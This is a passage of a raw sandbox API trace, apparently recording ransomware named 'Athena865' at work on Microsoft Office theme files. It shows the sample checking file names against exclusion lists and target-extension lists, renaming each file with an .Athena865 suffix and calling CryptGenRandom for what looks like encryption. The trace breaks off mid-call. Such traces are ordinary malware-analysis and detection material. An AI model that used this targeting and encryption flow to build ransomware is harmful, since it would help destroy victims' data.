lstrlenW (lpString="owc") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="owc") returned -1 [0136.812] lstrlenW (lpString="p96") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="p96") returned -1 [0136.812] lstrlenW (lpString="p97") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="p97") returned -1 [0136.812] lstrlenW (lpString="pan") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="pan") returned -1 [0136.812] lstrlenW (lpString="pdb") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="pdb") returned -1 [0136.812] lstrlenW (lpString="pdm") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="pdm") returned -1 [0136.812] lstrlenW (lpString="pnz") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="pnz") returned -1 [0136.812] lstrlenW (lpString="qry") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="qry") returned -1 [0136.812] lstrlenW (lpString="qvd") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="qvd") returned -1 [0136.812] lstrlenW (lpString="rbf") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="rbf") returned -1 [0136.813] lstrlenW (lpString="rctd") returned 4 [0136.813] lstrcmpiW (lpString1="eftx", lpString2="rctd") returned -1 [0136.813] lstrlenW (lpString="rod") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="rod") returned -1 [0136.813] lstrlenW (lpString="rodx") returned 4 [0136.813] lstrcmpiW (lpString1="eftx", lpString2="rodx") returned -1 [0136.813] lstrlenW (lpString="rpd") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="rpd") returned -1 [0136.813] lstrlenW (lpString="rsd") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="rsd") returned -1 [0136.813] lstrlenW (lpString="sas7bdat") returned 8 [0136.813] lstrcmpiW (lpString1="tin.eftx", lpString2="sas7bdat") returned 1 [0136.813] lstrlenW (lpString="sbf") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="sbf") returned -1 [0136.813] lstrlenW (lpString="scx") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="scx") returned -1 [0136.813] lstrlenW (lpString="sdb") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="sdb") returned -1 [0136.813] lstrlenW (lpString="sdc") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="sdc") returned -1 [0136.813] lstrlenW (lpString="sdf") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="sdf") returned -1 [0136.813] lstrlenW (lpString="sis") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="sis") returned -1 [0136.813] lstrlenW (lpString="spq") returned 3 [0136.813] lstrcmpiW (lpString1="ftx", lpString2="spq") returned -1 [0136.813] lstrlenW (lpString="te") returned 2 [0136.813] lstrcmpiW (lpString1="tx", lpString2="te") returned 1 [0136.814] lstrlenW (lpString="teacher") returned 7 [0136.814] lstrcmpiW (lpString1="in.eftx", lpString2="teacher") returned -1 [0136.814] lstrlenW (lpString="tmd") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="tmd") returned -1 [0136.814] lstrlenW (lpString="tps") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="tps") returned -1 [0136.814] lstrlenW (lpString="trc") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="trc") returned -1 [0136.814] lstrlenW (lpString="trc") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="trc") returned -1 [0136.814] lstrlenW (lpString="trm") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="trm") returned -1 [0136.814] lstrlenW (lpString="udb") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="udb") returned -1 [0136.814] lstrlenW (lpString="udl") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="udl") returned -1 [0136.814] lstrlenW (lpString="usr") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="usr") returned -1 [0136.814] lstrlenW (lpString="v12") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="v12") returned -1 [0136.814] lstrlenW (lpString="vis") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="vis") returned -1 [0136.814] lstrlenW (lpString="vpd") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="vpd") returned -1 [0136.814] lstrlenW (lpString="vvv") returned 3 [0136.814] lstrcmpiW (lpString1="ftx", lpString2="vvv") returned -1 [0136.815] lstrlenW (lpString="wdb") returned 3 [0136.815] lstrcmpiW (lpString1="ftx", lpString2="wdb") returned -1 [0136.815] lstrlenW (lpString="wmdb") returned 4 [0136.815] lstrcmpiW (lpString1="eftx", lpString2="wmdb") returned -1 [0136.815] lstrlenW (lpString="wrk") returned 3 [0136.815] lstrcmpiW (lpString1="ftx", lpString2="wrk") returned -1 [0136.815] lstrlenW (lpString="xdb") returned 3 [0136.815] lstrcmpiW (lpString1="ftx", lpString2="xdb") returned -1 [0136.815] lstrlenW (lpString="xld") returned 3 [0136.815] lstrcmpiW (lpString1="ftx", lpString2="xld") returned -1 [0136.815] lstrlenW (lpString="xmlff") returned 5 [0136.815] lstrcmpiW (lpString1=".eftx", lpString2="xmlff") returned -1 [0136.815] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.Athena865") returned 88 [0136.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.athena865"), dwFlags=0x1) returned 1 [0136.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.817] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26989) returned 1 [0136.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.817] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.818] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.818] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.818] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c70, lpName=0x0) returned 0x17c [0136.820] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c70) returned 0x100000 [0136.823] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.824] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.824] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.825] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.825] CloseHandle (hObject=0x17c) returned 1 [0136.825] CloseHandle (hObject=0x154) returned 1 [0136.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.826] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="BLACKT~1.EFT")) returned 1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".") returned 1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="..") returned 1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="windows") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="bootmgr") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="temp") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="pagefile.sys") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="boot") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="ids.txt") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="ntuser.dat") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="perflogs") returned -1 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="MSBuild") returned -1 [0136.826] lstrlenW (lpString="Black Tie.eftx") returned 14 [0136.826] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Black Tie.eftx" | out: lpString1="Black Tie.eftx") returned="Black Tie.eftx" [0136.826] lstrlenW (lpString="Black Tie.eftx") returned 14 [0136.826] lstrlenW (lpString="Athena865") returned 9 [0136.826] lstrcmpiW (lpString1=" Tie.eftx", lpString2="Athena865") returned -1 [0136.826] lstrlenW (lpString=".dll") returned 4 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".dll") returned 1 [0136.826] lstrlenW (lpString=".lnk") returned 4 [0136.826] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".lnk") returned 1 [0136.827] lstrlenW (lpString=".ini") returned 4 [0136.827] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".ini") returned 1 [0136.827] lstrlenW (lpString=".sys") returned 4 [0136.827] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".sys") returned 1 [0136.827] lstrlenW (lpString="Black Tie.eftx") returned 14 [0136.827] lstrlenW (lpString="bak") returned 3 [0136.827] lstrcmpiW (lpString1="ftx", lpString2="bak") returned 1 [0136.827] lstrlenW (lpString="ba_") returned 3 [0136.827] lstrcmpiW (lpString1="ftx", lpString2="ba_") returned 1 [0136.827] lstrlenW (lpString="dbb") returned 3 [0136.827] lstrcmpiW (lpString1="ftx", lpString2="dbb") returned 1 [0136.827] lstrlenW (lpString="vmdk") returned 4 [0136.827] lstrcmpiW (lpString1="eftx", lpString2="vmdk") returned -1 [0136.827] lstrlenW (lpString="rar") returned 3 [0136.827] lstrcmpiW (lpString1="ftx", lpString2="rar") returned -1 [0136.827] lstrlenW (lpString="zip") returned 3 [0136.827] lstrcmpiW (lpString1="ftx", lpString2="zip") returned -1 [0136.827] lstrlenW (lpString="tgz") returned 3 [0136.827] lstrcmpiW (lpString1="ftx", lpString2="tgz") returned -1 [0136.827] lstrlenW (lpString="vbox") returned 4 [0136.827] lstrcmpiW (lpString1="eftx", lpString2="vbox") returned -1 [0136.827] lstrlenW (lpString="vdi") returned 3 [0136.827] lstrcmpiW (lpString1="ftx", lpString2="vdi") returned -1 [0136.827] lstrlenW (lpString="vhd") returned 3 [0136.827] lstrcmpiW (lpString1="ftx", lpString2="vhd") returned -1 [0136.827] lstrlenW (lpString="vhdx") returned 4 [0136.828] lstrcmpiW (lpString1="eftx", lpString2="vhdx") returned -1 [0136.828] lstrlenW (lpString="avhd") returned 4 [0136.828] lstrcmpiW (lpString1="eftx", lpString2="avhd") returned 1 [0136.828] lstrlenW (lpString="db") returned 2 [0136.828] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0136.828] lstrlenW (lpString="db2") returned 3 [0136.828] lstrcmpiW (lpString1="ftx", lpString2="db2") returned 1 [0136.828] lstrlenW (lpString="db3") returned 3 [0136.828] lstrcmpiW (lpString1="ftx", lpString2="db3") returned 1 [0136.828] lstrlenW (lpString="dbf") returned 3 [0136.828] lstrcmpiW (lpString1="ftx", lpString2="dbf") returned 1 [0136.828] lstrlenW (lpString="mdf") returned 3 [0136.828] lstrcmpiW (lpString1="ftx", lpString2="mdf") returned -1 [0136.828] lstrlenW (lpString="mdb") returned 3 [0136.828] lstrcmpiW (lpString1="ftx", lpString2="mdb") returned -1 [0136.828] lstrlenW (lpString="sql") returned 3 [0136.828] lstrcmpiW (lpString1="ftx", lpString2="sql") returned -1 [0136.828] lstrlenW (lpString="sqlite") returned 6 [0136.828] lstrcmpiW (lpString1="e.eftx", lpString2="sqlite") returned -1 [0136.828] lstrlenW (lpString="sqlite3") returned 7 [0136.828] lstrcmpiW (lpString1="ie.eftx", lpString2="sqlite3") returned -1 [0136.828] lstrlenW (lpString="sqlitedb") returned 8 [0136.828] lstrcmpiW (lpString1="Tie.eftx", lpString2="sqlitedb") returned 1 [0136.828] lstrlenW (lpString="xml") returned 3 [0136.828] lstrcmpiW (lpString1="ftx", lpString2="xml") returned -1 [0136.828] lstrlenW (lpString="$er") returned 3 [0136.829] lstrcmpiW (lpString1="ftx", lpString2="$er") returned 1 [0136.829] lstrlenW (lpString="4dd") returned 3 [0136.829] lstrcmpiW (lpString1="ftx", lpString2="4dd") returned 1 [0136.829] lstrlenW (lpString="4dl") returned 3 [0136.829] lstrcmpiW (lpString1="ftx", lpString2="4dl") returned 1 [0136.829] lstrlenW (lpString="^^^") returned 3 [0136.829] lstrcmpiW (lpString1="ftx", lpString2="^^^") returned 1 [0136.829] lstrlenW (lpString="abs") returned 3 [0136.829] lstrcmpiW (lpString1="ftx", lpString2="abs") returned 1 [0136.829] lstrlenW (lpString="abx") returned 3 [0136.829] lstrcmpiW (lpString1="ftx", lpString2="abx") returned 1 [0136.829] lstrlenW (lpString="accdb") returned 5 [0136.829] lstrcmpiW (lpString1=".eftx", lpString2="accdb") returned -1 [0136.829] lstrlenW (lpString="accdc") returned 5 [0136.829] lstrcmpiW (lpString1=".eftx", lpString2="accdc") returned -1 [0136.829] lstrlenW (lpString="accde") returned 5 [0136.829] lstrcmpiW (lpString1=".eftx", lpString2="accde") returned -1 [0136.829] lstrlenW (lpString="accdr") returned 5 [0136.829] lstrcmpiW (lpString1=".eftx", lpString2="accdr") returned -1 [0136.829] lstrlenW (lpString="accdt") returned 5 [0136.829] lstrcmpiW (lpString1=".eftx", lpString2="accdt") returned -1 [0136.829] lstrlenW (lpString="accdw") returned 5 [0136.829] lstrcmpiW (lpString1=".eftx", lpString2="accdw") returned -1 [0136.829] lstrlenW (lpString="accft") returned 5 [0136.829] lstrcmpiW (lpString1=".eftx", lpString2="accft") returned -1 [0136.829] lstrlenW (lpString="adb") returned 3 [0136.829] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0136.830] lstrlenW (lpString="adb") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0136.830] lstrlenW (lpString="ade") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="ade") returned 1 [0136.830] lstrlenW (lpString="adf") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="adf") returned 1 [0136.830] lstrlenW (lpString="adn") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="adn") returned 1 [0136.830] lstrlenW (lpString="adp") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="adp") returned 1 [0136.830] lstrlenW (lpString="alf") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="alf") returned 1 [0136.830] lstrlenW (lpString="ask") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="ask") returned 1 [0136.830] lstrlenW (lpString="btr") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="btr") returned 1 [0136.830] lstrlenW (lpString="cat") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="cat") returned 1 [0136.830] lstrlenW (lpString="cdb") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="cdb") returned 1 [0136.830] lstrlenW (lpString="ckp") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="ckp") returned 1 [0136.830] lstrlenW (lpString="cma") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="cma") returned 1 [0136.830] lstrlenW (lpString="cpd") returned 3 [0136.830] lstrcmpiW (lpString1="ftx", lpString2="cpd") returned 1 [0136.831] lstrlenW (lpString="dacpac") returned 6 [0136.831] lstrcmpiW (lpString1="e.eftx", lpString2="dacpac") returned 1 [0136.831] lstrlenW (lpString="dad") returned 3 [0136.831] lstrcmpiW (lpString1="ftx", lpString2="dad") returned 1 [0136.831] lstrlenW (lpString="dadiagrams") returned 10 [0136.831] lstrcmpiW (lpString1="k Tie.eftx", lpString2="dadiagrams") returned 1 [0136.831] lstrlenW (lpString="daschema") returned 8 [0136.831] lstrcmpiW (lpString1="Tie.eftx", lpString2="daschema") returned 1 [0136.831] lstrlenW (lpString="db-journal") returned 10 [0136.831] lstrcmpiW (lpString1="k Tie.eftx", lpString2="db-journal") returned 1 [0136.831] lstrlenW (lpString="db-shm") returned 6 [0136.831] lstrcmpiW (lpString1="e.eftx", lpString2="db-shm") returned 1 [0136.831] lstrlenW (lpString="db-wal") returned 6 [0136.831] lstrcmpiW (lpString1="e.eftx", lpString2="db-wal") returned 1 [0136.831] lstrlenW (lpString="dbc") returned 3 [0136.831] lstrcmpiW (lpString1="ftx", lpString2="dbc") returned 1 [0136.831] lstrlenW (lpString="dbs") returned 3 [0136.831] lstrcmpiW (lpString1="ftx", lpString2="dbs") returned 1 [0136.831] lstrlenW (lpString="dbt") returned 3 [0136.831] lstrcmpiW (lpString1="ftx", lpString2="dbt") returned 1 [0136.831] lstrlenW (lpString="dbv") returned 3 [0136.831] lstrcmpiW (lpString1="ftx", lpString2="dbv") returned 1 [0136.831] lstrlenW (lpString="dbx") returned 3 [0136.831] lstrcmpiW (lpString1="ftx", lpString2="dbx") returned 1 [0136.831] lstrlenW (lpString="dcb") returned 3 [0136.831] lstrcmpiW (lpString1="ftx", lpString2="dcb") returned 1 [0136.832] lstrcmpiW (lpString1="ftx", lpString2="dct") returned 1 [0136.832] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.Athena865") returned 91 [0136.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.athena865"), dwFlags=0x1) returned 1 [0136.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.834] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=618119) returned 1 [0136.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.834] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.835] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.835] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.835] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x97190, lpName=0x0) returned 0x17c [0136.836] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x97190) returned 0x2bb0000 [0136.863] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.864] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.864] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.865] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0136.871] CloseHandle (hObject=0x17c) returned 1 [0136.871] CloseHandle (hObject=0x154) returned 1 [0136.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.874] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="CIVIC~1.EFT")) returned 1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2=".") returned 1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="..") returned 1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="windows") returned -1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="bootmgr") returned 1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="temp") returned -1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="pagefile.sys") returned -1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="boot") returned 1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="ids.txt") returned -1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="ntuser.dat") returned -1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="perflogs") returned -1 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2="MSBuild") returned -1 [0136.874] lstrlenW (lpString="Civic.eftx") returned 10 [0136.874] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Civic.eftx" | out: lpString1="Civic.eftx") returned="Civic.eftx" [0136.874] lstrlenW (lpString="Civic.eftx") returned 10 [0136.874] lstrlenW (lpString="Athena865") returned 9 [0136.874] lstrcmpiW (lpString1="ivic.eftx", lpString2="Athena865") returned 1 [0136.874] lstrlenW (lpString=".dll") returned 4 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2=".dll") returned 1 [0136.874] lstrlenW (lpString=".lnk") returned 4 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2=".lnk") returned 1 [0136.874] lstrlenW (lpString=".ini") returned 4 [0136.874] lstrcmpiW (lpString1="Civic.eftx", lpString2=".ini") returned 1 [0136.875] lstrlenW (lpString=".sys") returned 4 [0136.875] lstrcmpiW (lpString1="Civic.eftx", lpString2=".sys") returned 1 [0136.875] lstrlenW (lpString="Civic.eftx") returned 10 [0136.875] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.Athena865") returned 87 [0136.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.athena865"), dwFlags=0x1) returned 1 [0136.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.877] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42917) returned 1 [0136.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 